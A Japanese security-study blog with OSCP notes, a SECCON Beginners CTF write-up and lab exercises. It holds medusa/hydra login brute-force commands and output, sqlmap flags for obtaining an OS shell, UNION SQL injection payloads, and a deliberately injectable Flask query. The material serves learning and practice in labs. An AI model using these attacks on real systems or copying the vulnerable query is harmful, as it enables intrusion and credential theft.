akkietech’s diary

セキュリティ関連メインの自分用メモ書き。twitter: @akkietech

OSCP苦戦中 + medusa

どうも。
かなり久々の投稿。誰も見ていないと思うけど。


タイトルの通り、去年の6月末あたりからOSCP取得に向けてコースを受けていて、現在も取得できずに苦戦中です。
OSCPの詳細については受かってから詳しく書こうとは思いますが、最近カリキュラムの内容にアップデートがかかって、範囲が2倍になった模様。
価格も初期申込からだと全体的に上がっており、さらにハードルが高くなったように感じているが、密度の濃い内容になることは間違いない。

そんなこと気にしている場合じゃない。今はOSCP取得に向けて頑張るのみ。 

ということで、OSCP学習の過程で学んだ一つである「medusa」の使い方について、用途別で簡単に書こうと思います。

■medusaとは
ブルートフォース攻撃で使われるツールの1つです。
他のブルートフォース用のツールで有名どころで言えばhydra。

多様なプロトコルに対応していたり、webフォームに対する攻撃も柔軟に設定ができるので、medusaをよく使っています。

■準備
攻撃対象サーバのIPアドレス:192.168.179.123
パスワードリスト:以下

kali@kali:~$ cat password_list.txt 
admin
administrator
adm
test
test1
user
guest
user1
default
www-data
apache
kali@kali:~$ 


■ケース1 - シンプルなやつ
FTPだったり、SMTPだったりと、プロトコルに応じてシンプルに攻撃するパターン

FTP

medusa -h 192.168.179.123 -u admin -P password_list.txt -M ftp

出力結果:

Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [ftp] Host: 192.168.179.123 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: admin (1 of 12 complete)
ACCOUNT CHECK: [ftp] Host: 192.168.179.123 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: administrator (2 of 12 complete)
ACCOUNT CHECK: [ftp] Host: 192.168.179.123 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: adm (3 of 12 complete)
ACCOUNT CHECK: [ftp] Host: 192.168.179.123 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: test (4 of 12 complete)
ACCOUNT FOUND: [ftp] Host: 192.168.179.123 User: admin Password: test [SUCCESS]

admin/testで突破できたことがわかる。

他のプロトコルでも同様。

SMTP

medusa -h 192.168.179.123 -u admin -P password_list.txt -M smtp

SMB (-Mオプションの引数注意!)

medusa -h 192.168.179.123 -u admin -P password_list.txt -M smbnt


■ケース2 - HTTPのBasic認証
URLパスに指定がなければ、-Mにhttpを指定するだけ。

kali@kali:~$ medusa -h 192.168.179.123 -u guest -P password_list.txt -M http

もしBasic認証の対象URLにパスがつく場合。
targetURL: hxxp://192.168.179.123/guest/welcome.html

kali@kali:~$ medusa -h 192.168.179.123 -u guest -P password_list.txt -M http -m DIR:/guest/welcome.html

出力結果:

Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [http] Host: 192.168.179.123 (1 of 1, 0 complete) User: guest (1 of 1, 0 complete) Password: admin (1 of 11 complete)
ACCOUNT CHECK: [http] Host: 192.168.179.123 (1 of 1, 0 complete) User: guest (1 of 1, 0 complete) Password: administrator (2 of 11 complete)
ACCOUNT CHECK: [http] Host: 192.168.179.123 (1 of 1, 0 complete) User: guest (1 of 1, 0 complete) Password: adm (3 of 11 complete)
ACCOUNT CHECK: [http] Host: 192.168.179.123 (1 of 1, 0 complete) User: guest (1 of 1, 0 complete) Password: test (4 of 11 complete)
ACCOUNT CHECK: [http] Host: 192.168.179.123 (1 of 1, 0 complete) User: guest (1 of 1, 0 complete) Password: test1 (5 of 11 complete)
ACCOUNT CHECK: [http] Host: 192.168.179.123 (1 of 1, 0 complete) User: guest (1 of 1, 0 complete) Password: user (6 of 11 complete)
ACCOUNT CHECK: [http] Host: 192.168.179.123 (1 of 1, 0 complete) User: guest (1 of 1, 0 complete) Password: guest (7 of 11 complete)
ACCOUNT FOUND: [http] Host: 192.168.179.123 User: guest Password: guest [SUCCESS]
kali@kali:~$ 

guest/guestで突破できたことがわかる。

■ケース3 - ログインフォームの突破
ケース2との違いとしては、ログイン失敗時のシグナル(文字列)を設定することで、成功か否かを判別するというものです。
対象ページはWordpressのadminページを想定しています。

medusa -h 192.168.179.123 -u admin -P password_list.txt -M web-form -m FORM:"wp-login.php" -m FORM-DATA:"post?log=&pwd=&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.179.123%2Fwp-admin%2F&testcookie=1" -m DENY-SIGNAL:"incorrect"

それぞれのオプションを軽くブレイクダウンすると

 -M web-form
  → web-formを指定

 -m FORM:"wp-login.php"
  → ログイン対象のページを指定 (パスがある場合は "path/wp-login.php")

 -m FORM-DATA:"post?log=&pwd=&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.179.123%2Fwp-admin%2F&testcookie=1"
  → POSTデータを指定。 BurpSuiteなどで一旦POSTデータを確認するとわかりやすい。
    ユーザ名、パスワードのイコール以降は指定しないのがポイント。
    (今回であればnameが「log=」、passwordが「pwd=」)

 -m DENY-SIGNAL:"incorrect"
  → ログイン失敗した場合のシグナルを指定。
    Wordpressページであれば存在するユーザ名でパスワードを間違えれば「incorrect」が含まれるのでそれを指定している。


ログインページにもよりますが、成功した場合こういう出力が出てきたりします。

ERROR: The answer was NOT successfully received, understood, and accepted while trying admin adm: error code  302
ACCOUNT CHECK: [web-form] Host: 192.168.179.123 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: adm (3 of 12 complete)

これは「DENY-SIGNALで指定した文字列を含まないページが返ってきてリダイレクトされたよ」ってメッセージです。
つまり成功したことでadminページにリダイレクトするためのレスポンスが返ってきたのでしょう。


■ケース4 - Cookieヘッダをつける
中にはセッションを保ったままBasic認証をしたりするようなものもあったりするので、Cookieヘッダのつけ方も知っておくと、いつか役に立つでしょう。
ついでにスピードをあげるために-tオプションでスレッド数も指定しておきましょう(デフォルト)

medusa -h 192.168.179.123 -u admin -P password_list.txt -M http -m CUSTOM-HEADER:"Cookie: JSESSIONID=9623996267A0F002BE597D77B161EE0B" -t 20


■ちなみにhydra
Basic認証

hydra -l admin -P password_list.txt 192.168.179.123 http-get
hydra -L namelist.txt -P password_list.txt 192.168.179.123 http-get

POSTでのログインフォーム

hydra -l admin -P password_list.txt 192.168.179.123 http-post-form '/login.php:user=^USER^&pass=^PASS^:login failed'

コロン(:)区切りの箇所は、3つめに失敗時のシグナルを指定する。

成功時の出力:

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-03-18 05:45:42
[DATA] max 13 tasks per 1 server, overall 13 tasks, 13 login tries (l:1/p:13), ~1 try per task
[DATA] attacking http-post-form://192.168.179.123:80/login.php:user=^USER^&pass=^PASS^:login failed
[80][http-post-form] host: 192.168.179.123   login: admin   password: admin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-03-18 05:45:48

■まとめ
改めて書きながら実践していくと、POSTのログインフォームはhydraの方が使いやすいことがわかった。
明日から相方変更です。

sqlmap

オプション整理用

-u URL

--proxy
プロキシを設定、BurpSuiteとかに使えそう

--batch
全部質問をデフォルトの回答

--forms
Webページ内のフォーム要素も調査対象に入れる

--dbms=mysql
バックエンドのDBを指定()
-dbms="Microsoft SQL Server"とかも

--thread=5
スレッド数を指定

--crawl=1
クロールする深さ(1はそのパスだけ、2以降がリンクをたどってくれる)

-p user
検査するパラメータをuserのみ指定

-–form -–batchの相性は良い

--batch --answers="keep testing=Y,sitemap=Y,skip further tests=N"
質問時の回答を指定

--crawl-exclude="logout"
crawl時に除外するページを指定

--dbs
データベース名を取得

--tables
テーブル名を取得

--columns
カラム名を取得

-D db_name -T table_name --dump
各指定してデータをダンプ

Linuxサーバのシェル取得:
sqlmap -u http://127.0.0.1/login.php?id=1 –os-shell

Windowsサーバのシェル取得
For a Windows server:
sqlmap -u http://127.0.0.1/login.php?id=1 –os-cmd <cmd>

================
参考になった順
https://www.prodefence.org/important-sqlmap-commands-2/
https://edricteo.com/sqlmap-commands/

読んでないけど参考
https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF

5/26 SECCON CTF Beginnersに初参加したからWriteup書きたい

Reversing(バイナリ) 2 /4
Crypt(暗号) 1 / 4
Web 2 / 5
Mics(雑問) 3 / 4
Pwnable 0 / 4 ←ムズすぎ…

計 792 points

解けた問題を下記に列挙
※たまに載せてるスクリプトはまじで見せれるもの代物ではないですが、承知の上です。

■Rversing
・Seccommpare
peda付のgdbでごり押し
gdbでやるときは
gdb-peda$ start AAA
みたいに適当に引数付けて、あとはnexti連打してたらflagがスタックに表れてきたのでゲット

・Leakage
これもgdb様様
先ほどと同様に適当に引数付けて実行してみる

途中で文字列の長さを比較するような処理があった

   0x4005fa <is_correct+19>:	call   0x4004d0 <strlen@plt>
   0x4005ff <is_correct+24>:	cmp    rax,0x22
   0x400603 <is_correct+28>:	je     0x40060c <is_correct+37>
   0x400605 <is_correct+30>:	mov    eax,0x0
   0x40060a <is_correct+35>:	jmp    0x40065e <is_correct+119>

これで文字列の長さ(0x22=34)が一致しないと処理が終了してしまうようなので、
cmpでブレイクポイントを設定して、raxに0x22を入れるという無理やりな方法でゴリ押し

gdb-peda$ set $rax = 0x22
gdb-peda$ nexti

という感じで、処理が終わらないようにレジスタの値を変えて進めると、

   0x400629 <is_correct+66>:	mov    edi,eax
=> 0x40062b <is_correct+68>:	call   0x4006d0 <convert>
   0x400630 <is_correct+73>:	mov    BYTE PTR [rbp-0x5],al
   0x400633 <is_correct+76>:	mov    eax,DWORD PTR [rbp-0x4]
   0x400636 <is_correct+79>:	movsxd rdx,eax

と気になる命令が。
このconvertが終わるとraxに「c」の文字列が入っていた

という具合に処理が終わらないように、根気強くレジスタの値を変えてながらこのあたりの作業を繰り返していくとflagがゲットできた

※多分プログラムかけば地道にレジスタ変える作業しなくて良かったと思うけど書こうとするよりこっちの方が早かった気がした。勉強する必要あるな。


■Crypt
・So Tired
Base64で変換した段階でバイナリっぽい出力されて最初全く分からなかった。

試しにBase64の出力を別ファイルに書き出してfileコマンドで見てみると
zlib compressed data
と出た。なんじゃこりゃ

調べてみると圧縮されたファイルらしく、解凍もできるみたい

ためしにpythonでdecompressしてみるとまた再びBase64らしき文字列が現れた!笑
なるほど..そういうことか

# -*- coding: utf-8 -*- 
import base64, zlib

f = open("encrypted.txt", "r")
data = f.read()

dec_data = data.decode("base64")
decomp = zlib.decompress(dec_data)

for i in range(499):

	dec_data = decomp.decode("base64")
	decomp = zlib.decompress(dec_data)

print decomp

結局Base64とzlibの圧縮が500回繰り返されたものだった。
解けたとき超気持ちかったこれ。


■Web
・Ramen
ちょうど自作の攻撃用Webページで練習してたやつとほぼ一緒のやつが出た

'or 1=1 #
でSQLiありそうだったので

' UNION SELECT table_name,1 FROM information_schema.tables #
スキーマのやつ使って存在するテーブルを調査

' UNION SELECT COLUMN_NAME, 1 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name = 'flag #」
目的のテーブル名を指定し、保持しているカラムを調査

' UNION SELECT flag, 1 FROM flag #
でげっと

・Katusdon
クーポンの前半部分をbase64でデコードするだけ


■Mics
4問中3問クリアというまさかの稼ぎ頭ww

・welcome
これは、まぁ、うん

・container
ほんまにこれ!!めっちゃ嬉しくて叫んだ!笑
最初この問題「あ、むりだ」て思ったけど、どうも画像ファイルが含まれてるのは分かるもんだから諦めたくなかった

root@kali:~/Downloads/mics# cat e35860e49ca3fa367e456207ebc9ff2f_containers | hexdump | head -10
0000000 4f43 544e 4941 454e 2e52 4946 454c 2e30
0000010 5089 474e 0a0d 0a1a 0000 0d00 4849 5244
0000020 0000 8000 0000 8000 0608 0000 c300 613e
0000030 00cb 0000 7301 4752 0042 ceae e91c 0000
0000040 0400 4167 414d 0000 8fb1 fc0b 0561 0000
0000050 0900 4870 7359 0000 c30e 0000 c30e c701
0000060 a86f 0064 0200 4961 4144 7854 ed5e 51d2
0000070 e38a 1040 d104 d13d 675e b50f f687 1fd0
0000080 6106 6c6a 2d4b 955b f11d 7f20 e825 3f8a
0000090 a137 0019 019c 19c0 9c00 c001 0019 019c

2行目の始めの4バイトが「5089 474e」
CTFチャレンジブックを思い出し、これ画像の拡張子じゃね?ってなった

root@kali:~/Downloads/mics# strings e35860e49ca3fa367e456207ebc9ff2f_containers | head -15
CONTAINER.FILE0.
IHDR
sRGB
gAMA
	pHYs
aIDATx^
ajlK-[
0TG~5
;-M\
IEND
FILE1.
IHDR
sRGB
gAMA
	pHYs
...

stringsコマンドでも、sRGBあるあたりとかどうも画像っぽい
そして38ファイルあるの予測

最初は地道にmacのhex finderで「5089 474e」ごとにコピーしてはpngフィイルとして保存する、というまた地道を繰り返していた
やりながら「いや、これはスクリプト組めるだろ!」ってなって作ったのがこれ

f = open("e35860e49ca3fa367e456207ebc9ff2f_containers", "rb")
data = f.read()
split_data = data.split("FILE")
f.close()

for i in range(38):
    f = open (str(i+1)+"_data.png", "w")
    if i+1 < 10:
        f.write(split_data[i+1][2:])
    else:
        f.write(split_data[i+1][3:]
    f.close()

各「5089 474e」の前に「FILE」って文字列があったからそれを区切り文字にして、あとは各要素をpngファイルとして書き出すというもの
スクリプト回したら、ザーッって画像ファイルが出てきて「わーーーー」ってなってさっきのmacでの作業はなんだったのだとなった。
でも10個目の画像が上手くいってなかったけど、それはmacで復元済みだったので、まぁよしとしよう。


■Dump
解けた時これも声出た

最初はpcapファイルをwiresharkで読み込んでhtmlファイルを取得
wiresharkがちょっと止まってしまうくらいのデータのデカさ

中身とコマンドの内容から、どうやらなんらかのflagなるファイルをhexdumpで8進数に、かつ3桁区切りで出力しているっぽい
そしてやはりかなりのサイズ


hexdumpあんまり知らないからxxdとかで復号できないかなと思ってもできなくて、これもスクリプト書いた

f = open("ctf/webshell", "r")
lines = f.readlines()
byte_arr = list()

for line in lines:
	split_line = line.split()
	for each_byte in split_line:
		byte_arr.append(each_byte)
f.close()

f = open("ctf/flag", "wb")
for d in byte_arr:
	f.write(chr(int(d, 8)))
f.close()

言っちゃえば、8進数をアスキー文字に変換してflagファイルに書き込んでいくやつ。
出力されたのが圧縮ファイルだったので解答すると桜の画像とともにflagげとー。


まとめ
ざっと書いたから間違えてるかもしれない。
3時間しか寝なかったけど、大健闘だったと思う。
頭抱える時間多かったけど、振り返るとすごく楽しかった。
時間の制限的に、全部の問題見れたわけではなかったけど

Makbookをairからproに買い換えたけど....

ちょっと失敗談なので、この記事で少しでも参考になる人がいればと思う

 

Macook proを買った

ただ整備品で2016 Lateモデル

 

商品到着して起動後に、ちょっときになることがあったので、

OSを再インストールしようと試みた。

 

ただ、初期起動の段階で「FileVault」を有効にしていた

 

「FileVault」

 

これが失敗の元だったとしか思えない

 

はじめにFileVaultを有効にしてしまったせいで、まずMajoveへのアップデートができなかった

しかもFileVaultによる暗号化が完了するのもかなり時間がかかりそうだった。

 

なのでディスクユーティリティでディスクの初期化を実施した。

 

そしてOSを再インストールしようとしたんだが、これがめちゃくちゃ遅い

しかも初期設定画面のWifi設定の画面から次のメッセージが出て進まなくなる

 

「お使いのMacには重要なソフトウェア・アップデートが必要ですが、 このアップデートのインストール中にエラーが起きました。 お使いのMacは、このアップデートをインストールするまでは使用できません。」

 

これでぐぐると似たようなことが起きた人のブログがあったが、

結局夜勤明け帰宅から約7時間後、自己解決はできなかった

 

結局 Appleの修理に出すことにした

本当に悔やまれる

AppleMacも悪く無い、ただただ自分のミス

ITに勤めている人が起こすミスとは思えないな笑

 

なので

・ 初期設定の段階で、FileVaultを有効にするべきではなかった

・FileVaultの暗号化が完了していないのに、フォーマットするべきではなかった

 

結論:

FileVault嫌い

4/28 XMLHttpRequest、CORS

セキスペの試験も終わったことなので、CTF学習と同時進行で徳丸本も読み進める
そのためのメモ

XMLHttpRequestとは
webサーバから受け取ったwebページから、javascriptなどのブラウザ搭載のスクリプト言語からさらに送信されるHTTPリクエスト、もしくはその機能、API

CORS(Cross-Origin Resource Sharing)とは
異なるサイト間(FQDN間)でデータをやりとりするための仕様
異なるオリジンとのデータ交換が可能になる

プリフライトリクエストとは
生成元をまたいだリクエストを行う前に、そのリクエストが受け入れられるかどうかを事前にチェックする。
特定のメソッド以外を使用したり、特定のヘッダ以外のヘッダを送信しようとする際
ブラウザからAPIサーバにプリフライトリクエストがOPTIONメソッドで送信される

サーバはそのヘッダに応答するためのレスポンスヘッダを用意する必要がある

てか
思いっきりセキスペ2019春の午後Iの設問1に出ていた...
試験当日までに徳丸本をここまで進めておけば...

4/27 CTF -バイナリ解析-

5/25、 26のSECCON Beginners CTF出ることにしたので、
「セキュリティコンテストチャレンジブック」を買った。

とりあえず第1章から進めたので、メモ

※バイナリ解析の章では、「美しき策謀」「コンピュータハイジャッキング」を読んでいたのがすごく役に立っている


■表層解析
使用するコマンド
file

strings
strings -n [文字数] => [文字数]以上の文字列のみを出力

動的解析で使用するコマンド
strace => システムコールの呼び出しを追跡
ltrace => ライブラリ関数の呼び出しを追跡

straceの主なオプション

  • p [pid] すでに実行されているプロセスのをトレースする
  • e [システムコール] 出力するシステームコールを指定する
  • f 子プロセスも含めてトレースする
  • c なんか統計情報を表示


レジスタについて復習

eip 次の命令が格納されているアドレス

esp
・現在スタックが参照しているアドレス
・現在のスタックフレームのトップアドレス

ebp
・実行中関数のスタックの底(ベース)のアドレス
・現在のスタックフレームの底のアドレス

プロローグ
push ebp
mov ebp, esp
関数呼び出し後に、呼び出し元のベースポインタを保存する命令(push ebp)と、関数呼び出し時に生成されるスタックフレームのベースポインタ保存(mov ebp, esp)をプロローグと言うらしい

エピローグ
mov esp, ebp
pop ebp
関数の最後に呼び出し元関数に戻るために、スタックポインタに現在の関数のベースポインタを保存(mov esp, ebp)し、呼び出し元のベースポインタを取り出す(pop ebp)流れをエピローグと言うらし


デバッガでの解析

・とりあえず関数名でブレイクポイント設定

(gdb) b main

・nextiで1命令ごとに進める

(gdb) nexti

・現在のレジスタ値を確認(i r => info registersの省略形)

(gdb) i r
rax            0x555555555178      93824992235896
rbx            0x0                 0
rcx            0x7ffff7fa5718      140737353766680
rdx            0x7fffffffe1f8      140737488347640
rsi            0x5                 5
rdi            0x3                 3
rbp            0x7fffffffe0e0      0x7fffffffe0e0
rsp            0x7fffffffe0e0      0x7fffffffe0e0
-省略-

・スタックポインタから64バイト分を表示

(gdb) x/16wx $rsp
0x7fffffffe0e0:  0xffffe100	 0x00007fff	0x5555518f	0x00005555
0x7fffffffe0f0:	  0xffffe1e0	 0x00007fff	0x00000000	0x00000000
0x7fffffffe100:	  0x555551c0	 0x00005555	0xf7e0e09b	0x00007fff
0x7fffffffe110:	  0x00000000	 0x00000000	0xffffe1e8	0x00007fff

・アドレスが指す文字列をチェックしたい

(gdb) p/s [アドレス]


メモ
exeファイルの解析とかするとなると、windows環境も同時進行で必要??
てことはやっぱりmacbook proがいるんじゃね?

2/28 SQLi用蔵書検索サイト

使っているのはflaskとsqlite3

SQLインジェクションが可能な環境を用意
とりあえずSQLiの脆弱性を持つWebページとして
よく例に取り上げられるのが蔵書検索ページ

ということでflaskで手作り蔵書検索ページを作成
名前や著者名で絞れば該当の書物名のみが表示される
かなりあらいけどこんな感じ

@bp.route("/search_book", methods=('GET', 'POST'))
def search_book():
	db = get_db()
	if request.method == 'POST':
		auth_name = request.form['auth_name']
		book_name = request.form['book_name']

		if auth_name == "" and book_name == "":
			return redirect(url_for('bp.search_book'))
		elif auth_name != "" and book_name == "":
			book_info = db.execute('select * from book_info where auth_name = "%s"'%(auth_name))
		elif book_name != "" and auth_name == "":
			book_info = db.execute('select * from book_info where book_name = ?', (book_name,))
		elif book_name != "" and auth_name != "":
			book_info = db.execute('select * from book_info where book_name = ? and auth_name = ?',
			(book_name, auth_name,))
		return render_template('search_book.html', book_name=book_name, auth_name=auth_name, book_info=book_info)
		
	book_info = db.execute('SELECT * from book_info')
	return render_template('search_book.html', book_info=book_info)

そしてSQLiを可能にするかどうかのミソは「プレースホルダ」!

プレースホルダ無し(SQLi脆弱性を持つ)

book_info = db.execute('select * from book_info where auth_name = "%s"'%(auth_name))

プレースホルダを使用(SQLi脆弱性を軽減)

book_info = db.execute('select * from book_info where book_name = ?', (book_name,))

「?」がプレースホルダにあたるらしい
詳しいことはまた別の機会に調べる

SQLインジェクション実践(SQLite3編)
SQLite3向けSQLi用参考サイト
https://www.exploit-db.com/docs/english/41397-injecting-sqlite-database-based-applications.pdf

SOCでよく見るSQLiは
MySQLで使われる「information_schema.tables」を使ってテーブル名の取得を試みたりするもの

SQLiteでも似たようなのがあったので検索フォームで下記文字列を入れてみた

・テーブル名を取得

"or 1=1 union SELECT 1,tbl_name,3,4,5 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_% --

カラム名を取得

"or 1=1 union SELECT 1,sql,3,4,5 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'

任意のカラムからデータを取得

"or 1=1 union SELECT 1,2,user,4,5 from 'table_name'

なのでSQLite3でのSQLiで重要なのは
sqlite_maseterテーブルを使うこと
・tbl_nameでテーブル名取得
sqlカラム名取得

この辺をおさえておけばいいのかな
実際、1つのデータベースファイルに複数のテーブル入れておいて
蔵書検索ページから上記SQLiを試してみたら
全然関係ないログイン用ユーザ情報の取得に成功した

■まとめ
とりあえずSQLインジェクションの脆弱ページが完成したのと
SQLiteで典型的なSQLインジェクション実践できたのでよかった